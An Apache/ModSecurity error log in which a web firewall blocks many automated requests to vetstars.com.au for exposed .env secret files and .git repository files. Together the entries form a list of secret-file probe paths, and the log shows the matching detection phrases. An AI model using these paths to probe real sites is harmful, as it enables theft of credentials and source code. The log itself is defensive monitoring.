[Fri Mar 27 11:31:02.207204 2026] [:error] [pid 4293:tid 4307] [client 172.69.150.229:10288] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.save"] [unique_id "acX59pLjeJUC3OKtEx83aQAAAUw"]
[Fri Mar 27 11:31:03.134534 2026] [:error] [pid 4293:tid 4308] [client 172.69.150.229:10297] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.example"] [unique_id "acX595LjeJUC3OKtEx83bgAAAU0"]
[Fri Mar 27 11:31:03.181382 2026] [:error] [pid 4293:tid 4297] [client 172.69.150.228:11114] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/config/.env"] [unique_id "acX595LjeJUC3OKtEx83bwAAAUI"]
[Fri Mar 27 11:31:03.202551 2026] [:error] [pid 4293:tid 4309] [client 172.69.150.229:10302] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production.local"] [unique_id "acX595LjeJUC3OKtEx83cAAAAU4"]
[Fri Mar 27 11:31:03.218910 2026] [:error] [pid 4293:tid 4315] [client 172.69.150.229:10309] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development.local"] [unique_id "acX595LjeJUC3OKtEx83cgAAAVQ"]
[Fri Mar 27 11:31:03.275854 2026] [:error] [pid 4293:tid 4302] [client 172.69.150.228:11118] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.env"] [unique_id "acX595LjeJUC3OKtEx83cwAAAUc"]
[Fri Mar 27 11:31:03.800558 2026] [:error] [pid 4293:tid 4312] [client 172.69.150.229:10316] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.backup"] [unique_id "acX595LjeJUC3OKtEx83eAAAAVE"]
[Fri Mar 27 11:31:04.156667 2026] [:error] [pid 4293:tid 4319] [client 172.69.150.228:11122] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/backend/.env"] [unique_id "acX5-JLjeJUC3OKtEx83egAAAVg"]
[Fri Mar 27 11:31:04.229945 2026] [:error] [pid 4293:tid 4298] [client 172.69.150.228:11128] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/admin/.env"] [unique_id "acX5-JLjeJUC3OKtEx83ewAAAUM"]
[Fri Mar 27 11:31:04.239052 2026] [:error] [pid 27743:tid 27764] [client 172.69.150.229:10321] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/core/.env"] [unique_id "acX5-CA46UYYLqzw99AyHwAAAAA"]
[Fri Mar 27 11:31:04.270210 2026] [:error] [pid 4293:tid 4304] [client 172.69.150.228:11126] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/.env"] [unique_id "acX5-JLjeJUC3OKtEx83fAAAAUk"]
[Fri Mar 27 11:31:04.303715 2026] [:error] [pid 63897:tid 63910] [client 172.69.150.229:10325] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/public/.env"] [unique_id "acX5-GVSkmYmLu7ycYijBgAAAQs"]
[Fri Mar 27 11:31:04.809546 2026] [:error] [pid 27749:tid 27814] [client 172.69.150.228:11131] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/private/.env"] [unique_id "acX5-MEqyoMni2Q6_X6bjAAAAFc"]
[Fri Mar 27 11:31:05.239830 2026] [:error] [pid 27851:tid 27861] [client 172.69.150.229:10326] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/config/.env.local"] [unique_id "acX5-XR2ccxe3RMCLbpsvAAAAMM"]
[Fri Mar 27 11:31:05.299177 2026] [:error] [pid 27851:tid 27862] [client 172.69.150.228:11138] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.php"] [unique_id "acX5-XR2ccxe3RMCLbpsvQAAAMQ"]
[Fri Mar 27 11:31:05.316361 2026] [:error] [pid 27749:tid 27791] [client 172.69.150.228:11142] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env_backup"] [unique_id "acX5-cEqyoMni2Q6_X6bjQAAAEA"]
[Fri Mar 27 11:31:05.349778 2026] [:error] [pid 27743:tid 27782] [client 172.69.150.229:10331] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.json"] [unique_id "acX5-SA46UYYLqzw99AyIAAAABI"]
[Fri Mar 27 11:31:05.865315 2026] [:error] [pid 4293:tid 4316] [client 172.69.150.229:10336] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env~"] [unique_id "acX5-ZLjeJUC3OKtEx83fwAAAVU"]
[Fri Mar 27 11:31:06.303847 2026] [:error] [pid 4341:tid 4355] [client 172.69.150.228:11148] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env1"] [unique_id "acX5-uKJWrNB5dMlERGa9wAAAYw"]
[Fri Mar 27 11:31:06.363396 2026] [:error] [pid 63897:tid 63920] [client 172.69.150.229:10346] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.envrc"] [unique_id "acX5-mVSkmYmLu7ycYijCQAAARU"]
[Fri Mar 27 11:31:06.379842 2026] [:error] [pid 27750:tid 27829] [client 172.69.150.229:10344] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dist"] [unique_id "acX5-oaSil5rd17ieLyCnAAAAIs"]
[Fri Mar 27 11:31:06.386156 2026] [:error] [pid 63897:tid 63909] [client 172.69.150.229:10341] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env2"] [unique_id "acX5-mVSkmYmLu7ycYijCgAAAQo"]
[Fri Mar 27 11:31:06.940274 2026] [:error] [pid 4293:tid 4309] [client 172.69.150.229:10353] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.orig"] [unique_id "acX5-pLjeJUC3OKtEx83hAAAAU4"]
[Fri Mar 27 11:31:07.363353 2026] [:error] [pid 4293:tid 4315] [client 172.69.150.228:13452] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.prod"] [unique_id "acX5-5LjeJUC3OKtEx83igAAAVQ"]
[Fri Mar 27 11:31:07.386766 2026] [:error] [pid 4293:tid 4317] [client 172.69.150.228:13447] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production.bak"] [unique_id "acX5-5LjeJUC3OKtEx83iwAAAVY"]
[Fri Mar 27 11:31:07.403072 2026] [:error] [pid 4293:tid 4307] [client 172.69.150.229:10597] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev.local"] [unique_id "acX5-5LjeJUC3OKtEx83jAAAAUw"]
[Fri Mar 27 11:31:07.418343 2026] [:error] [pid 4293:tid 4318] [client 172.69.150.229:10600] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.docker"] [unique_id "acX5-5LjeJUC3OKtEx83jQAAAVc"]
[Fri Mar 27 11:31:07.990850 2026] [:error] [pid 4293:tid 4299] [client 172.69.150.228:13455] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.container"] [unique_id "acX5-5LjeJUC3OKtEx83kAAAAUQ"]
[Fri Mar 27 11:31:08.384384 2026] [:error] [pid 4293:tid 4311] [client 172.69.150.229:10603] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/docker/.env"] [unique_id "acX5_JLjeJUC3OKtEx83kQAAAVA"]
[Fri Mar 27 11:31:08.421593 2026] [:error] [pid 63897:tid 63912] [client 172.69.150.228:13465] [client 172.69.150.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/server/.env"] [unique_id "acX5_GVSkmYmLu7ycYijDgAAAQ0"]
[Fri Mar 27 11:31:08.461253 2026] [:error] [pid 4293:tid 4295] [client 172.69.150.229:10607] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/docker/.env.local"] [unique_id "acX5_JLjeJUC3OKtEx83kwAAAUA"]
[Fri Mar 27 11:31:09.066320 2026] [:error] [pid 27851:tid 27869] [client 172.69.150.229:10612] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/web/.env"] [unique_id "acX5_XR2ccxe3RMCLbpswgAAAMs"]
[Fri Mar 27 11:31:09.548830 2026] [:error] [pid 27750:tid 27826] [client 172.69.150.229:10613] [client 172.69.150.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/var/www/.env"] [unique_id "acX5_YaSil5rd17ieLyCngAAAIg"]
[Fri Mar 27 11:31:29.103338 2026] [:error] [pid 63897:tid 63904] [client 172.69.186.200:13697] [client 172.69.186.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/root/.env"] [unique_id "acX6EWVSkmYmLu7ycYijKQAAAQU"]
[Fri Mar 27 11:31:29.376044 2026] [:error] [pid 4341:tid 4355] [client 172.69.186.170:12012] [client 172.69.186.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env_config"] [unique_id "acX6EeKJWrNB5dMlERGbIAAAAYw"]
[Fri Mar 27 11:31:29.591768 2026] [:error] [pid 4341:tid 4367] [client 172.69.186.151:9943] [client 172.69.186.151] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env_secret"] [unique_id "acX6EeKJWrNB5dMlERGbIgAAAZg"]
[Fri Mar 27 11:31:29.658837 2026] [:error] [pid 27749:tid 27800] [client 172.69.186.200:13702] [client 172.69.186.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env_settings"] [unique_id "acX6EcEqyoMni2Q6_X6bmgAAAEk"]
[Fri Mar 27 11:31:49.555658 2026] [:error] [pid 27749:tid 27791] [client 172.69.186.170:12310] [client 172.69.186.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/index"] [unique_id "acX6JcEqyoMni2Q6_X6bswAAAEA"]
[Fri Mar 27 11:31:49.556773 2026] [:error] [pid 63897:tid 63903] [client 172.69.186.175:11851] [client 172.69.186.175] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local.backup"] [unique_id "acX6JWVSkmYmLu7ycYijPAAAAQQ"]
[Fri Mar 27 11:31:49.814597 2026] [:error] [pid 63897:tid 63910] [client 172.69.186.175:10574] [client 172.69.186.175] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/logs/HEAD"] [unique_id "acX6JWVSkmYmLu7ycYijPgAAAQs"]
[Fri Mar 27 11:31:49.835631 2026] [:error] [pid 63897:tid 63919] [client 172.69.186.200:10669] [client 172.69.186.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/refs/heads/master"] [unique_id "acX6JWVSkmYmLu7ycYijPwAAARQ"]
[Fri Mar 27 11:31:50.079559 2026] [:error] [pid 63897:tid 63904] [client 172.69.186.170:12316] [client 172.69.186.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/refs/heads/main"] [unique_id "acX6JmVSkmYmLu7ycYijQAAAAQU"]
[Fri Mar 27 11:31:50.338246 2026] [:error] [pid 4293:tid 4307] [client 172.69.186.208:12315] [client 172.69.186.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "acX6JpLjeJUC3OKtEx838QAAAUw"]
[Fri Mar 27 11:31:50.579610 2026] [:error] [pid 27743:tid 27767] [client 172.69.186.170:12322] [client 172.69.186.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development"] [unique_id "acX6JiA46UYYLqzw99AyMAAAAAM"]
[Fri Mar 27 11:31:50.595761 2026] [:error] [pid 4293:tid 4311] [client 172.69.186.200:10670] [client 172.69.186.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev"] [unique_id "acX6JpLjeJUC3OKtEx838wAAAVA"]
[Fri Mar 27 11:31:50.598633 2026] [:error] [pid 4293:tid 4308] [client 172.69.186.175:10583] [client 172.69.186.175] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.test"] [unique_id "acX6JpLjeJUC3OKtEx839AAAAU0"]
[Fri Mar 27 11:31:50.608902 2026] [:error] [pid 4293:tid 4297] [client 172.69.186.127:12373] [client 172.69.186.127] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "acX6JpLjeJUC3OKtEx839QAAAUI"]
[Fri Mar 27 11:31:50.839979 2026] [:error] [pid 4293:tid 4305] [client 172.69.186.208:12316] [client 172.69.186.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.staging"] [unique_id "acX6JpLjeJUC3OKtEx839gAAAUo"]
[Fri Mar 27 11:31:50.860902 2026] [:error] [pid 4341:tid 4352] [client 172.69.186.170:12329] [client 172.69.186.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.backup"] [unique_id "acX6JuKJWrNB5dMlERGbUwAAAYk"]
[Fri Mar 27 11:31:50.874089 2026] [:error] [pid 4293:tid 4317] [client 172.69.186.174:12386] [client 172.69.186.174] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.old"] [unique_id "acX6JpLjeJUC3OKtEx839wAAAVY"]
[Fri Mar 27 11:31:50.876329 2026] [:error] [pid 4293:tid 4296] [client 172.69.186.200:10673] [client 172.69.186.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.bak"] [unique_id "acX6JpLjeJUC3OKtEx83-AAAAUE"]
[Fri Mar 27 11:31:51.103660 2026] [:error] [pid 4293:tid 4298] [client 172.69.186.101:11668] [client 172.69.186.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.save"] [unique_id "acX6J5LjeJUC3OKtEx83-gAAAUM"]
[Fri Mar 27 11:31:51.122293 2026] [:error] [pid 4293:tid 4295] [client 172.69.186.209:14239] [client 172.69.186.209] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.tmp"] [unique_id "acX6J5LjeJUC3OKtEx83-wAAAUA"]
[Fri Mar 27 11:31:51.155072 2026] [:error] [pid 4293:tid 4314] [client 172.69.186.150:11964] [client 172.69.186.150] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.example"] [unique_id "acX6J5LjeJUC3OKtEx83_AAAAVM"]
[Fri Mar 27 11:31:51.164011 2026] [:error] [pid 4293:tid 4316] [client 172.69.186.127:12379] [client 172.69.186.127] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production.local"] [unique_id "acX6J5LjeJUC3OKtEx83_QAAAVU"]
[Fri Mar 27 11:31:51.367401 2026] [:error] [pid 27851:tid 27876] [client 172.69.186.175:10590] [client 172.69.186.175] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development.local"] [unique_id "acX6J3R2ccxe3RMCLbps7gAAANI"]
[Fri Mar 27 11:31:51.389624 2026] [:error] [pid 4293:tid 4303] [client 172.69.186.208:12323] [client 172.69.186.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/config/.env"] [unique_id "acX6J5LjeJUC3OKtEx84AAAAAUg"]
[Fri Mar 27 11:31:51.428482 2026] [:error] [pid 4341:tid 4364] [client 172.69.186.101:11674] [client 172.69.186.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/backend/.env"] [unique_id "acX6J-KJWrNB5dMlERGbVAAAAZU"]
